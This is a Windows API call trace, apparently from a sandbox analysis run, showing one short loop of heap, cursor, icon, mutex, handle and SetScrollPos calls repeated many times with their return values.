	[0095.650] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.650] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.650] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.650] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.650] GetCurrentProcessId () returned 0xb50
	[0095.650] GetLastError () returned 0x578
	[0095.650] GetLastError () returned 0x578
	[0095.650] GetLastError () returned 0x0
	[0095.650] ReleaseMutex (hMutex=0x360) returned 1
	[0095.650] CloseHandle (hObject=0x360) returned 1
	[0095.650] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1138314420, bRedraw=1) returned 0
	[0095.650] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.650] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.650] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.650] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.650] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.650] GetCurrentProcessId () returned 0xb50
	[0095.650] GetLastError () returned 0x578
	[0095.650] GetLastError () returned 0x578
	[0095.651] GetLastError () returned 0x0
	[0095.651] ReleaseMutex (hMutex=0x360) returned 1
	[0095.651] CloseHandle (hObject=0x360) returned 1
	[0095.651] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2075032418, bRedraw=1) returned 0
	[0095.651] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.651] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.651] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.651] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.651] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.651] GetCurrentProcessId () returned 0xb50
	[0095.651] GetLastError () returned 0x578
	[0095.651] GetLastError () returned 0x578
	[0095.651] GetLastError () returned 0x0
	[0095.651] ReleaseMutex (hMutex=0x360) returned 1
	[0095.651] CloseHandle (hObject=0x360) returned 1
	[0095.651] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1273586928, bRedraw=1) returned 0
	[0095.651] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.651] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.651] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.651] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.651] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.651] GetCurrentProcessId () returned 0xb50
	[0095.651] GetLastError () returned 0x578
	[0095.652] GetLastError () returned 0x578
	[0095.652] GetLastError () returned 0x0
	[0095.652] ReleaseMutex (hMutex=0x360) returned 1
	[0095.652] CloseHandle (hObject=0x360) returned 1
	[0095.652] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-317609026, bRedraw=1) returned 0
	[0095.652] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.652] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.652] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.652] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.652] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.652] GetCurrentProcessId () returned 0xb50
	[0095.652] GetLastError () returned 0x578
	[0095.652] GetLastError () returned 0x578
	[0095.652] GetLastError () returned 0x0
	[0095.652] ReleaseMutex (hMutex=0x360) returned 1
	[0095.652] CloseHandle (hObject=0x360) returned 1
	[0095.652] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=647998828, bRedraw=1) returned 0
	[0095.652] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.652] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.652] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.652] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.653] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.653] GetCurrentProcessId () returned 0xb50
	[0095.653] GetLastError () returned 0x578
	[0095.653] GetLastError () returned 0x578
	[0095.653] GetLastError () returned 0x0
	[0095.653] ReleaseMutex (hMutex=0x360) returned 1
	[0095.653] CloseHandle (hObject=0x360) returned 1
	[0095.653] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1623236634, bRedraw=1) returned 0
	[0095.653] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.653] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.653] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.653] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.653] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.653] GetCurrentProcessId () returned 0xb50
	[0095.653] GetLastError () returned 0x578
	[0095.653] GetLastError () returned 0x578
	[0095.653] GetLastError () returned 0x0
	[0095.653] ReleaseMutex (hMutex=0x360) returned 1
	[0095.653] CloseHandle (hObject=0x360) returned 1
	[0095.653] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1686862904, bRedraw=1) returned 0
	[0095.653] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.653] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.653] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.654] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.654] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.654] GetCurrentProcessId () returned 0xb50
	[0095.654] GetLastError () returned 0x578
	[0095.654] GetLastError () returned 0x578
	[0095.654] GetLastError () returned 0x0
	[0095.654] ReleaseMutex (hMutex=0x360) returned 1
	[0095.654] CloseHandle (hObject=0x360) returned 1
	[0095.654] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-692365194, bRedraw=1) returned 0
	[0095.654] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.654] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.654] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.654] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.654] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.654] GetCurrentProcessId () returned 0xb50
	[0095.654] GetLastError () returned 0x578
	[0095.654] GetLastError () returned 0x578
	[0095.654] GetLastError () returned 0x0
	[0095.654] ReleaseMutex (hMutex=0x360) returned 1
	[0095.654] CloseHandle (hObject=0x360) returned 1
	[0095.654] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=311762468, bRedraw=1) returned 0
	[0095.655] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.655] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.655] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.655] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.655] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.655] GetCurrentProcessId () returned 0xb50
	[0095.655] GetLastError () returned 0x578
	[0095.655] GetLastError () returned 0x578
	[0095.655] GetLastError () returned 0x0
	[0095.655] ReleaseMutex (hMutex=0x360) returned 1
	[0095.655] CloseHandle (hObject=0x360) returned 1
	[0095.655] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1325520082, bRedraw=1) returned 0
	[0095.655] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.655] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.655] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.655] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.655] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.655] GetCurrentProcessId () returned 0xb50
	[0095.655] GetLastError () returned 0x578
	[0095.655] GetLastError () returned 0x578
	[0095.656] GetLastError () returned 0x0
	[0095.656] ReleaseMutex (hMutex=0x360) returned 1
	[0095.656] CloseHandle (hObject=0x360) returned 1
	[0095.656] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1946059648, bRedraw=1) returned 0
	[0095.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.656] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.656] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.656] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.656] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.656] GetCurrentProcessId () returned 0xb50
	[0095.656] GetLastError () returned 0x578
	[0095.656] GetLastError () returned 0x578
	[0095.656] GetLastError () returned 0x0
	[0095.656] ReleaseMutex (hMutex=0x360) returned 1
	[0095.656] CloseHandle (hObject=0x360) returned 1
	[0095.656] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-913042130, bRedraw=1) returned 0
	[0095.656] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.656] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.656] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.656] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.656] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.656] GetCurrentProcessId () returned 0xb50
	[0095.656] GetLastError () returned 0x578
	[0095.657] GetLastError () returned 0x578
	[0095.657] GetLastError () returned 0x0
	[0095.657] ReleaseMutex (hMutex=0x360) returned 1
	[0095.657] CloseHandle (hObject=0x360) returned 1
	[0095.657] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=129605340, bRedraw=1) returned 0
	[0095.657] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.657] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.657] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.657] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.657] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.657] GetCurrentProcessId () returned 0xb50
	[0095.657] GetLastError () returned 0x578
	[0095.657] GetLastError () returned 0x578
	[0095.657] GetLastError () returned 0x0
	[0095.657] ReleaseMutex (hMutex=0x360) returned 1
	[0095.657] CloseHandle (hObject=0x360) returned 1
	[0095.657] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1181882762, bRedraw=1) returned 0
	[0095.657] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.657] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.657] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.657] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.658] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.658] GetCurrentProcessId () returned 0xb50
	[0095.658] GetLastError () returned 0x578
	[0095.658] GetLastError () returned 0x578
	[0095.658] GetLastError () returned 0x0
	[0095.658] ReleaseMutex (hMutex=0x360) returned 1
	[0095.658] CloseHandle (hObject=0x360) returned 1
	[0095.658] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2051177160, bRedraw=1) returned 0
	[0095.658] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.658] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.658] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.658] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.658] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.658] GetCurrentProcessId () returned 0xb50
	[0095.658] GetLastError () returned 0x578
	[0095.658] GetLastError () returned 0x578
	[0095.658] GetLastError () returned 0x0
	[0095.658] ReleaseMutex (hMutex=0x360) returned 1
	[0095.658] CloseHandle (hObject=0x360) returned 1
	[0095.658] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-979639834, bRedraw=1) returned 0
	[0095.662] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.662] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.662] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.662] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.662] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.662] GetCurrentProcessId () returned 0xb50
	[0095.662] GetLastError () returned 0x578
	[0095.662] GetLastError () returned 0x578
	[0095.662] GetLastError () returned 0x0
	[0095.662] ReleaseMutex (hMutex=0x360) returned 1
	[0095.662] CloseHandle (hObject=0x360) returned 1
	[0095.663] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=101527444, bRedraw=1) returned 0
	[0095.663] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.663] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.663] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.663] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.663] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.663] GetCurrentProcessId () returned 0xb50
	[0095.663] GetLastError () returned 0x578
	[0095.663] GetLastError () returned 0x578
	[0095.663] GetLastError () returned 0x0
	[0095.663] ReleaseMutex (hMutex=0x360) returned 1
	[0095.663] CloseHandle (hObject=0x360) returned 1
	[0095.663] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1192324674, bRedraw=1) returned 0
	[0095.663] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.663] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.663] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.663] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.663] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.663] GetCurrentProcessId () returned 0xb50
	[0095.664] GetLastError () returned 0x578
	[0095.664] GetLastError () returned 0x578
	[0095.664] GetLastError () returned 0x0
	[0095.664] ReleaseMutex (hMutex=0x360) returned 1
	[0095.664] CloseHandle (hObject=0x360) returned 1
	[0095.664] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2002215440, bRedraw=1) returned 0
	[0095.664] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.664] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.664] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.664] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.664] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.664] GetCurrentProcessId () returned 0xb50
	[0095.664] GetLastError () returned 0x578
	[0095.664] GetLastError () returned 0x578
	[0095.664] GetLastError () returned 0x0
	[0095.664] ReleaseMutex (hMutex=0x360) returned 1
	[0095.664] CloseHandle (hObject=0x360) returned 1
	[0095.664] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-892158306, bRedraw=1) returned 0
	[0095.664] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.664] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.665] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.665] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.665] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.665] GetCurrentProcessId () returned 0xb50
	[0095.665] GetLastError () returned 0x578
	[0095.665] GetLastError () returned 0x578
	[0095.665] GetLastError () returned 0x0
	[0095.665] ReleaseMutex (hMutex=0x360) returned 1
	[0095.665] CloseHandle (hObject=0x360) returned 1
	[0095.665] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=227528780, bRedraw=1) returned 0
	[0095.665] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.665] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.665] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.665] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.665] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.665] GetCurrentProcessId () returned 0xb50
	[0095.665] GetLastError () returned 0x578
	[0095.665] GetLastError () returned 0x578
	[0095.665] GetLastError () returned 0x0
	[0095.665] ReleaseMutex (hMutex=0x360) returned 1
	[0095.665] CloseHandle (hObject=0x360) returned 1
	[0095.665] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1356845818, bRedraw=1) returned 0
	[0095.666] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.666] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.666] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.666] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.666] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.666] GetCurrentProcessId () returned 0xb50
	[0095.666] GetLastError () returned 0x578
	[0095.666] GetLastError () returned 0x578
	[0095.666] GetLastError () returned 0x0
	[0095.666] ReleaseMutex (hMutex=0x360) returned 1
	[0095.666] CloseHandle (hObject=0x360) returned 1
	[0095.666] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1799174488, bRedraw=1) returned 0
	[0095.666] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.666] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.666] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.666] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.666] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.666] GetCurrentProcessId () returned 0xb50
	[0095.666] GetLastError () returned 0x578
	[0095.666] GetLastError () returned 0x578
	[0095.666] GetLastError () returned 0x0
	[0095.666] ReleaseMutex (hMutex=0x360) returned 1
	[0095.666] CloseHandle (hObject=0x360) returned 1
	[0095.667] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-650597546, bRedraw=1) returned 0
	[0095.667] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.667] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.667] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.667] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.667] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.667] GetCurrentProcessId () returned 0xb50
	[0095.667] GetLastError () returned 0x578
	[0095.667] GetLastError () returned 0x578
	[0095.667] GetLastError () returned 0x0
	[0095.667] ReleaseMutex (hMutex=0x360) returned 1
	[0095.667] CloseHandle (hObject=0x360) returned 1
	[0095.667] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=507609348, bRedraw=1) returned 0
	[0095.667] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.667] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.667] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.667] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.667] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.667] GetCurrentProcessId () returned 0xb50
	[0095.667] GetLastError () returned 0x578
	[0095.667] GetLastError () returned 0x578
	[0095.668] GetLastError () returned 0x0
	[0095.668] ReleaseMutex (hMutex=0x360) returned 1
	[0095.668] CloseHandle (hObject=0x360) returned 1
	[0095.668] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1675446194, bRedraw=1) returned 0
	[0095.668] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.668] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.668] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.668] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.668] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.668] GetCurrentProcessId () returned 0xb50
	[0095.668] GetLastError () returned 0x578
	[0095.668] GetLastError () returned 0x578
	[0095.668] GetLastError () returned 0x0
	[0095.668] ReleaseMutex (hMutex=0x360) returned 1
	[0095.668] CloseHandle (hObject=0x360) returned 1
	[0095.668] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1442054304, bRedraw=1) returned 0
	[0095.668] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.668] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.668] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.668] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.669] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.669] GetCurrentProcessId () returned 0xb50
	[0095.669] GetLastError () returned 0x578
	[0095.669] GetLastError () returned 0x578
	[0095.669] GetLastError () returned 0x0
	[0095.669] ReleaseMutex (hMutex=0x360) returned 1
	[0095.669] CloseHandle (hObject=0x360) returned 1
	[0095.669] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-254957554, bRedraw=1) returned 0
	[0095.669] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.669] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.669] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.669] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.669] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.669] GetCurrentProcessId () returned 0xb50
	[0095.669] GetLastError () returned 0x578
	[0095.669] GetLastError () returned 0x578
	[0095.669] GetLastError () returned 0x0
	[0095.669] ReleaseMutex (hMutex=0x360) returned 1
	[0095.669] CloseHandle (hObject=0x360) returned 1
	[0095.669] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=941769148, bRedraw=1) returned 0
	[0095.669] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.670] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.670] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.670] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.670] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.670] GetCurrentProcessId () returned 0xb50
	[0095.670] GetLastError () returned 0x578
	[0095.670] GetLastError () returned 0x578
	[0095.670] GetLastError () returned 0x0
	[0095.670] ReleaseMutex (hMutex=0x360) returned 1
	[0095.670] CloseHandle (hObject=0x360) returned 1
	[0095.670] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-2146841494, bRedraw=1) returned 0
	[0095.670] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.670] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.670] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.670] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.670] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.670] GetCurrentProcessId () returned 0xb50
	[0095.670] GetLastError () returned 0x578
	[0095.670] GetLastError () returned 0x578
	[0095.670] GetLastError () returned 0x0
	[0095.670] ReleaseMutex (hMutex=0x360) returned 1
	[0095.670] CloseHandle (hObject=0x360) returned 1
	[0095.671] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-930854888, bRedraw=1) returned 0
	[0095.671] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.671] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.671] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.671] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.671] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.671] GetCurrentProcessId () returned 0xb50
	[0095.671] GetLastError () returned 0x578
	[0095.671] GetLastError () returned 0x578
	[0095.671] GetLastError () returned 0x0
	[0095.671] ReleaseMutex (hMutex=0x360) returned 1
	[0095.671] CloseHandle (hObject=0x360) returned 1
	[0095.671] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=294761670, bRedraw=1) returned 0
	[0095.671] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.671] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.671] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.671] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.671] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.671] GetCurrentProcessId () returned 0xb50
	[0095.671] GetLastError () returned 0x578
	[0095.671] GetLastError () returned 0x578
	[0095.672] GetLastError () returned 0x0
	[0095.672] ReleaseMutex (hMutex=0x360) returned 1
	[0095.672] CloseHandle (hObject=0x360) returned 1
	[0095.672] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1530008180, bRedraw=1) returned 0
	[0095.672] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.672] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
